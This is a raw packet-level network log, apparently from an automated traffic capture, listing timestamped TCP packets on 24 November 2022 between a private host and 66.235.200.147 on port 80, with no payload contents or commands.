Nov 24, 2022 16:57:33.321356058 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.321357012 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.321398973 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.321444035 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.322185040 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.322227955 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.322271109 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.322273970 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.322616100 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.322660923 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.322679043 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.322704077 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.322746038 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.322747946 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.324069977 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.324119091 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.324135065 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.324162006 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.324208021 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.324291945 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.324992895 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.325033903 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.325052023 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.325078011 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.325118065 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.325120926 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.325716019 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.325757027 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.325771093 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.325798035 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.325848103 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.325850010 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.325887918 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.325928926 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.325933933 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.325969934 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.326009989 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.326013088 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.326734066 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.326776028 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.326797962 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.326818943 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.326859951 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.326860905 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.327483892 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.327539921 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.327728987 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.327771902 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.327815056 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.327816010 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.327856064 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.327899933 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.328501940 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.328543901 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.328584909 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.328596115 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.337471008 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.337528944 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.337532997 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.337579012 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.337619066 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.337624073 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.337661028 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.337702036 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.337703943 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.337817907 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.337857962 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.337858915 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.337901115 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.337943077 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.337958097 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.337984085 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.338023901 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.338433027 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.338515043 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.338557959 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.338563919 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.338599920 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.338639975 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.338640928 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.339799881 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.339845896 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.339869976 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.339875937 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.339921951 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.341005087 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.341048002 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.341089010 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.341094017 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.341130018 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.341171026 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.341171980 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.342128038 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.342170954 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.342195034 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.342214108 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.342257023 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.342258930 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.342300892 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.342345953 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.343007088 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.343050003 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.343090057 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.343097925 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.343131065 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.343172073 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.343173027 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.343808889 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.343852997 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.343868017 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.343894958 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.343938112 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.343939066 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.343981981 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.344029903 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.344579935 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.344623089 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.344664097 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.344669104 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.344705105 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.344744921 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.344746113 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.345542908 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.345594883 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.345609903 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.345635891 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.345675945 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.345676899 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.345720053 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.345761061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.345768929 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.354551077 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.354594946 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.354635954 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.354650974 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.354686022 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.354789019 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.354834080 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.354886055 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.354911089 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.354954004 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.354995012 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.355001926 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.355036974 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.355077028 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.355077982 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.357752085 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.357796907 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.357829094 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.357841969 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.357883930 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.357887030 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.357923985 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.357965946 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.357965946 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.358019114 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.358061075 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.358062983 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.358100891 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.358131886 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.358141899 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.359283924 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.359327078 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.359343052 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.359368086 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.359410048 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.359411001 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.359451056 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.359493017 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.359493017 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.359538078 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.359582901 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.360424995 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.360469103 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.360510111 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.360513926 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.360552073 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.360593081 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.360594034 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.360635042 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.360675097 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.360676050 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.360717058 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.360764027 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.361538887 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.361582994 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.361624956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.361632109 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.361665010 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.361706018 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.361707926 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.361747026 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.361787081 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.361790895 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.361830950 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.361879110 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.362520933 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.362564087 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.362595081 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.362611055 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.371727943 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.371790886 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.371815920 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.371839046 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.371880054 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.371881962 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.371922016 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.371962070 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.371969938 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.372004986 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.372047901 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.372047901 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375089884 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375149965 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375175953 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.375194073 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375235081 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375236034 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.375276089 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375318050 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.375318050 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375360966 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375401020 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.375405073 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375447035 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375488043 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375490904 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.375528097 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375569105 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375570059 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.375608921 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375650883 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375650883 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.375693083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375732899 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.375734091 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.376377106 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.376409054 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.376435041 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.377720118 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.377763033 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.377779007 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.377916098 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.377963066 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.378004074 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.378216982 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.378261089 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.378273010 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.378360033 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.378403902 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.378557920 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379146099 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379189014 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379201889 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.379230976 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379271984 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.379272938 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379312992 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379354000 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379357100 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.379395008 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379436016 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379437923 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.379478931 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379519939 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379522085 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.379560947 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379602909 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379610062 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.379646063 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379710913 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379718065 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.379755020 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379796982 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379800081 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.379839897 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379880905 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379884958 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.379921913 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.379960060 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.379961967 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.380002022 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.380043983 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.380045891 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.380086899 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.380131960 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.380172968 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.380214930 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.380259991 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.380958080 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.381000996 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.381041050 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.381045103 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.381081104 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.381122112 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.381124973 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.381165028 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.381205082 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.381208897 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.381247044 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.381299019 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.381483078 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.381527901 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.381568909 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.381572008 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.381611109 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.381653070 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.381659985 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.381694078 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.381736994 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.381738901 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.381968021 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.382016897 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.382527113 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.382569075 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.382610083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.382615089 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.382652998 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.382694006 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.382697105 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.382736921 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.382777929 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.382780075 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.382822037 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.382863045 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.382893085 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.383291006 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.383337975 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.383337975 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.383380890 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.383421898 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.383421898 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.383466005 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.383506060 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.383507967 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.383748055 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.383794069 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.383892059 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.384480000 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.384514093 CET	80	49712	66.235.200.147	192.168.2.3
